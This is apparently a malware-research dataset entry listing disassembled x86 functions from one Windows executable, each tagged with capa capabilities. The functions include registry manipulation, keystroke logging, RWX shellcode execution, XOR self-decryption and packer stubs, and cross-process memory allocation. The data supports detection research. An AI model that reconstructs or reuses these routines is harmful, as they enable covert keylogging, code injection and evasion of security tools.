joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ff3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
sub esp, 0x174
lea ebp, [esp - 4]
mov eax, dword [0x425720]
xor eax, ebp
mov dword [ebp + 0x174], eax
push 0x40
mov eax, 0x41c928
call fcn.0040d045
mov eax, dword [ebp + 0x180]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x184]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x18]
push eax
push 0x20019
xor ebx, ebx
push ebx
push str.SystemCurrentControlSetServicesialmDevice0
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [ebp - 0xd], bl
mov dword [ebp - 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4021ad
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp + 0x70]
push eax
lea eax, [ebp - 0x28]
push eax
push ebx
push 0x41e500
push dword [ebp - 0x18]
xor edi, edi
inc edi
mov dword [ebp - 0x2c], 0x104
mov dword [ebp - 0x28], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4021a4
lea eax, [ebp + 0x70]
push eax
lea ecx, [ebp]
call fcn.00401ccd
lea eax, [ebp]
push eax
lea ecx, [ebp + 0x1c]
mov dword [ebp - 4], ebx
call fcn.00401c43
push 0xf
pop esi
push ebx
lea ecx, [ebp + 0x38]
mov dword [ebp + 0x50], esi
call fcn.00401423
push ebx
lea ecx, [ebp + 0x54]
mov dword [ebp + 0x6c], esi
call fcn.00401423
push ebx
push 0x41e4fc
lea ecx, [ebp + 0x1c]
mov byte [ebp - 4], 3
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
call fcn.004014ae
push eax
mov dword [ebp - 0x14], eax
push ebx
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp + 0x1c]
call fcn.00401cef
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp + 0x38]
mov byte [ebp - 4], 4
call fcn.004017e5
push ebx
push edi
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 3
call fcn.004014cf
cmp dword [ebp + 0x50], 0x10
mov eax, dword [ebp + 0x3c]
jae 0x40210c
lea eax, [ebp + 0x3c]
lea ecx, [ebp - 0x1c]
push ecx
mov esi, 0x41e4b8
push esi
push eax
call fcn.0040d273
add esp, 0xc
push dword [ebp + 0x30]
inc dword [ebp - 0x14]
push dword [ebp - 0x14]
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp + 0x1c]
call fcn.00401cef
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp + 0x54]
mov byte [ebp - 4], 5
call fcn.004017e5
push ebx
push edi
lea ecx, [ebp - 0x4c]
call fcn.004014cf
cmp dword [ebp + 0x6c], 0x10
mov eax, dword [ebp + 0x58]
jae 0x40215a
lea eax, [ebp + 0x58]
lea ecx, [ebp - 0x20]
push ecx
push esi
push eax
call fcn.0040d273
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x30]
add esp, 0xc
push ebx
mov dword [ecx], eax
push edi
lea ecx, [ebp + 0x54]
mov byte [ebp - 0xd], 1
call fcn.004014cf
push ebx
push edi
lea ecx, [ebp + 0x38]
call fcn.004014cf
push ebx
push edi
lea ecx, [ebp + 0x1c]
call fcn.004014cf
push ebx
push edi
lea ecx, [ebp]
call fcn.004014cf
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [ebp - 0xd]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x174]
xor ecx, ebp
call fcn.0040c92a
add ebp, 0x178
leave
ret
Function at 0x403fe8
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
sub esp, 0x120
lea ebp, [esp - 4]
mov eax, dword [0x425720]
xor eax, ebp
mov dword [ebp + 0x120], eax
push 0x20
mov eax, 0x41ca75
call fcn.0040d045
mov edi, dword [ebp + 0x12c]
mov esi, 0x104
xor ebx, ebx
push esi
lea eax, [ebp + 0x1c]
push ebx
push eax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], esi
call fcn.0040c8b0
add esp, 0xc
push ebx
lea ecx, [ebp]
mov byte [ebp - 0xd], 1
mov dword [ebp + 0x18], 0xf
call fcn.00401423
lea eax, [ebp - 0x20]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp + 0x1c]
push eax
push ebx
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 4], ebx
jmp 0x4040c6
cmp byte [ebp - 0xd], bl
je 0x404080
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x1c]
push eax
lea ecx, [ebp]
call fcn.00401c86
mov byte [ebp - 0xd], bl
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
cmp eax, 1
jne 0x4040ab
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x1c]
push eax
lea ecx, [ebp]
call fcn.00401c86
inc dword [ebp - 0x14]
lea eax, [ebp - 0x20]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp + 0x1c]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x18], esi
push dword [ebp - 0x24]
call edi
test eax, eax
je 0x404060
mov eax, dword [ebp - 0x14]
cmp dword [0x426c48], eax
jne 0x4040ed
cmp dword [ebp + 0x18], 0x10
mov eax, dword [ebp + 4]
jae 0x4040e3
lea eax, [ebp + 4]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push ebx
push 1
lea ecx, [ebp]
call fcn.004014cf
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x120]
xor ecx, ebp
call fcn.0040c92a
add ebp, 0x124
leave
ret 4

Function at 0x404c0c
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x404c5f
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
test esi, esi
mov ebx, ecx
jne 0x404c75
push 0x80004005
call fcn.0040496a
push edi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x404c78
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8
Function at 0x405891
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x425720]
xor eax, ebp
mov dword [ebp + 0x94], eax
mov eax, dword [ebp + 0xa0]
push ebx
push esi
push edi
push 0x2001f
mov ebx, ecx
push eax
push dword [ebx]
xor esi, esi
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x70], esi
call fcn.00404bd7
mov edi, eax
cmp edi, esi
je 0x4058f9
lea ecx, [ebp - 0x70]
call fcn.00404b72
mov eax, edi
mov ecx, dword [ebp + 0x94]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040c92a
add ebp, 0x98
leave
ret 4
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x405911
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x70]
call fcn.00405891
cmp eax, esi
jne 0x405944
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0x100
call edi
test eax, eax
je 0x405901
lea ecx, [ebp - 0x70]
call fcn.00404b72
push dword [ebp - 0x78]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea ecx, [ebp - 0x70]
mov esi, eax
call fcn.00404b72
mov eax, esi
jmp 0x4058df
Function at 0x407269
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
sub esp, 0x404
lea ebp, [esp - 4]
mov eax, dword [0x425720]
xor eax, ebp
mov dword [ebp + 0x404], eax
push 0x20
mov eax, 0x41cd0c
call fcn.0040d078
mov edi, ecx
mov eax, dword [ebp + 0x414]
mov esi, dword [ebp + 0x410]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x418]
mov dword [ebp - 0x14], eax
call dword [0x42563c]
xor ebx, ebx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], ebx
mov dword [ebp], ebx
cmp esi, ebx
mov byte [ebp - 4], 1
je 0x407323
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push 2
push eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
call fcn.00404825
add esp, 0xc
test eax, eax
jl 0x407323
mov edi, dword [ebp - 0x24]
cmp edi, 0x400
jg 0x40730b
push edi
call fcn.0040579c
test al, al
pop ecx
je 0x40730b
mov eax, edi
call fcn.0040de10
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x407314
push edi
lea ecx, [ebp - 0x20]
call fcn.00405a10
push dword [ebp - 0x1c]
push edi
push esi
push eax
call fcn.00404906
cmp eax, ebx
jne 0x407368
lea eax, [ebp + 4]
cmp dword [ebp], eax
je 0x407333
lea ecx, [ebp]
call fcn.00405706
lea ecx, [ebp - 0x20]
call fcn.00405640
mov eax, 0x8007000e
lea esp, [ebp - 0x3c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x404]
xor ecx, ebp
call fcn.0040c92a
add ebp, 0x408
leave
ret 0x10
push 2
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 0x1c], edi
jne 0x407387
call fcn.00404a8e
mov esi, eax
jmp 0x40744a
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
jne 0x4073a4
call fcn.00404a8e
jmp 0x40743f
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
mov dword [ebp - 0x14], eax
je 0x40739a
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
cmp eax, esi
mov dword [ebp - 0x18], esi
jae 0x4073eb
lea eax, [ebp + 4]
cmp dword [ebp], eax
je 0x4073d7
lea ecx, [ebp]
call fcn.00405706
mov esi, 0x8007000e
lea ecx, [ebp - 0x20]
call fcn.00405640
mov eax, esi
jmp 0x407340
push eax
lea ecx, [ebp]
mov byte [ebp - 4], 2
call fcn.00406567
mov dword [ebp - 4], 1
jmp 0x40740c
cmp dword [ebp], ebx
jne 0x407418
mov esi, 0x8007000e
jmp 0x407441
push esi
push dword [ebp - 0x14]
push esi
push dword [ebp]
call fcn.004049b7
mov eax, dword [ebp]
add esp, 0x10
push dword [ebp + 0x41c]
mov byte [eax + esi], bl
push dword [ebp]
lea ecx, [ebp - 0x2c]
call fcn.004070fa
mov esi, eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp + 4]
cmp dword [ebp], eax
je 0x4073dc
lea ecx, [ebp]
call fcn.00405706
jmp 0x4073dc
Function at 0x4085de
Capabilities:
Get keyboard layout
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
lea ebp, [esp - 0x94]
sub esp, 0x114
mov eax, dword [0x425720]
xor eax, ebp
mov dword [ebp + 0x90], eax
mov eax, dword [ebp + 0x9c]
or dword [ebp - 0x78], 0xffffffff
push ebx
push esi
push edi
mov dword [ebp - 0x80], eax
xor ebx, ebx
mov esi, 0x424cb8
mov edi, 0x104
push edi
lea eax, [ebp - 0x74]
push 0
push eax
call fcn.0040c8b0
lea eax, [esi + 4]
push eax
push dword [ebp - 0x80]
call fcn.0040e2ec
add esp, 0x14
test eax, eax
je 0x408695
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov eax, dword [esi]
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
call fcn.004085b9
pop ecx
push 0
push dword [ebp - 0x7c]
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
shl eax, 0x10
lea ecx, [ebx - 0xf]
or eax, 1
cmp ecx, 3
ja 0x408669
or eax, 0x1000000
push edi
lea ecx, [ebp - 0x74]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x80]
call fcn.0040e2ec
test eax, eax
pop ecx
pop ecx
je 0x408695
add esi, 0x18
inc ebx
cmp esi, 0x4252e8
jl 0x408615
jmp 0x408698
mov dword [ebp - 0x78], ebx
mov ecx, dword [ebp + 0x90]
mov eax, dword [ebp - 0x78]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040c92a
add ebp, 0x94
leave
ret

Function at 0x409d81
Capabilities:
Create process on windows

Disassembly:
push 0x78
mov eax, 0x41ce5f
call fcn.0040d0ae
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x2d], bl
mov dword [ebp - 0x14], 0xf
call fcn.00401423
push 0x1c
lea eax, [ebp - 0x2c]
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.0040c8b0
add esp, 0xc
push str.igfxcfg.exe
lea ecx, [ebp - 0x2c]
call fcn.00401c86
push 0x10
lea eax, [ebp - 0x40]
push ebx
push eax
call fcn.0040c8b0
push 0x44
pop esi
push esi
lea eax, [ebp - 0x84]
push ebx
push eax
call fcn.0040c8b0
mov eax, dword [ebp - 0x28]
add esp, 0x18
cmp dword [ebp - 0x14], 0x10
mov dword [ebp - 0x84], esi
jae 0x409df3
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x40]
push ecx
lea ecx, [ebp - 0x84]
push ecx
push ebx
push ebx
push 0x4000020
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x409e28
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x40]
call esi
mov byte [ebp - 0x2d], 1
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.004014cf
mov al, byte [ebp - 0x2d]
call fcn.0040d0f8
ret
Function at 0x40a242
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x425720]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0040a1d7
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0040c8b0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x40a291
cmp dword [ebp - 0x1c], 5
jb 0x40a2a9
jmp 0x40a2a5
cmp dword [ebp - 0x10], 1
jne 0x40a2a9
cmp dword [ebp - 0x1c], 4
ja 0x40a2a5
jne 0x40a2a9
cmp dword [ebp - 0x18], 0
jbe 0x40a2a9
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x41ed54
call fcn.00404a43
test eax, eax
jge 0x40a2ca
mov byte [0x426c00], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040c92a
add ebp, 0x78
leave
ret

Function at 0x40a5d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x426d6c], 0
push esi
jne 0x40a543
call fcn.0040a46e
test eax, eax
je 0x40a586
mov eax, dword [0x426d6c]
cmp eax, 1
jne 0x40a564
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x40a586
pop esi
ret
push eax
call dword [0x426d74]
test eax, eax
jne 0x40a5ce
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x40a58a
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x426d6c]
call dword [0x426d74]
mov edi, eax
test edi, edi
je 0x40a5b1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x40a5cd
lea edi, [esi + 0xff0]
push esi
push dword [0x426d6c]
call dword [0x426d70]
add esi, 0x10
cmp esi, edi
jb 0x40a5b7
mov eax, esi
pop edi
pop esi
ret
jmp 0x40a530

Function at 0x40c92a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x425720]
jne 0x40c934
repz ret
jmp fcn.0040fb3b
Function at 0x417a64
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00410637
xor ebx, ebx
cmp dword [0x427774], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x417b39
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x417aa4
xor eax, eax
jmp 0x417bfd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x420864
push edi
call esi
cmp eax, ebx
je 0x417a9d
push eax
call fcn.004105d4
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x427774], eax
call esi
push eax
call fcn.004105d4
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x427778], eax
call esi
push eax
call fcn.004105d4
mov dword [0x42777c], eax
lea eax, [ebp - 8]
push eax
call fcn.00411b8d
test eax, eax
pop ecx
pop ecx
je 0x417b07
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040cb4e
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x417b39
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.004105d4
cmp eax, ebx
pop ecx
mov dword [0x427784], eax
je 0x417b39
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004105d4
pop ecx
mov dword [0x427780], eax
mov eax, dword [0x427780]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x417bb2
cmp dword [0x427784], esi
je 0x417bb2
push eax
call fcn.00410640
pop ecx
call eax
cmp eax, ebx
je 0x417b7f
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x427784]
call fcn.00410640
pop ecx
call eax
test eax, eax
je 0x417b7f
test byte [ebp - 0x18], 1
jne 0x417bb2
lea eax, [ebp - 0xc]
push eax
call fcn.00411bc4
test eax, eax
pop ecx
je 0x417b9a
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040cb4e
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x417ba9
or dword [ebp + 0x10], 0x200000
jmp 0x417be3
or dword [ebp + 0x10], 0x40000
jmp 0x417be3
mov eax, dword [0x427778]
cmp eax, esi
je 0x417be3
push eax
call fcn.00410640
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x417be3
mov eax, dword [0x42777c]
cmp eax, esi
je 0x417be3
push dword [ebp - 4]
push eax
call fcn.00410640
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x427774]
call fcn.00410640
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x568c5b18
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
mov ecx, 0x15476cf9
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x409339
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
push edi
xor ebx, ebx
xor edi, edi
lea eax, [esi + 0x20]
cmp dword [eax], ebx
je 0x409356
inc edi
add eax, 8
cmp edi, 0x10
jl 0x409349
cmp edi, 0x10
jne 0x409362
xor eax, eax
jmp 0x409402
cmp byte [esi + 0x18], 1
jne 0x4093d9
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 4]
lea eax, [esi + edi*8 + 0x1c]
push ebx
push 0x438
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
cmp dword [esi + 8], ebx
jne 0x4093b5
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
mov dword [esi], eax
je 0x4093b5
push str.VirtualAllocEx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi + 8], eax
mov eax, dword [esi + 8]
cmp eax, ebx
jne 0x4093c1
mov eax, 0x427b3d
mov ecx, dword [ebp + 0xc]
push 4
push 0x1000
push dword [ebp + 8]
lea esi, [esi + edi*8 + 0x20]
push ebx
push dword [ecx]
call eax
jmp 0x409400
push ebx
push dword [ebp + 8]
push ebx
push 4
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push ebx
push ebx
push ebx
push 0xf001f
mov dword [esi + edi*8 + 0x1c], eax
push eax
lea esi, [esi + edi*8 + 0x20]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esi], eax
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x40b58f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x14]
push edi
add eax, eax
mov dword [ebp + 0x14], eax
lea eax, [ebp - 4]
push eax
push 1
xor edi, edi
push edi
push dword [ebp + 0xc]
mov word [esi], di
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40b5dc
lea eax, [ebp + 0x14]
push eax
push esi
push edi
push edi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp + 0x14], edi
je 0x40b5d3
shr dword [ebp + 0x14], 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
leave
ret

Function at 0x40b5df
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
xor esi, esi
push esi
push esi
push 0x10
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_PostMessageW]
lea eax, [ebp - 8]
push eax
push 0x1f4
push 2
push esi
push esi
push 0x10
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageTimeoutW]
test eax, eax
jne 0x40b63f
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 4]
push esi
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret
Function at 0x40bc2e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ebx, ebx
cmp eax, 0xffffffff
je 0x40bc52
test al, 0x10
je 0x40bc52
cmp byte [0x48984d], bl
je 0x40bc52
mov al, 1
jmp 0x40bca4
push esi
push ebx
push 0x2000080
push 3
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40bc77
xor al, al
jmp 0x40bca3
cmp dword [ebp + 0x10], ebx
jne 0x40bc82
push dword [ebp + 0xc]
push ebx
jmp 0x40bc92
cmp dword [ebp + 0x10], 1
push ebx
jne 0x40bc8f
push ebx
push dword [ebp + 0xc]
jmp 0x40bc93
push dword [ebp + 0xc]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop esi
pop ebx
pop ebp
ret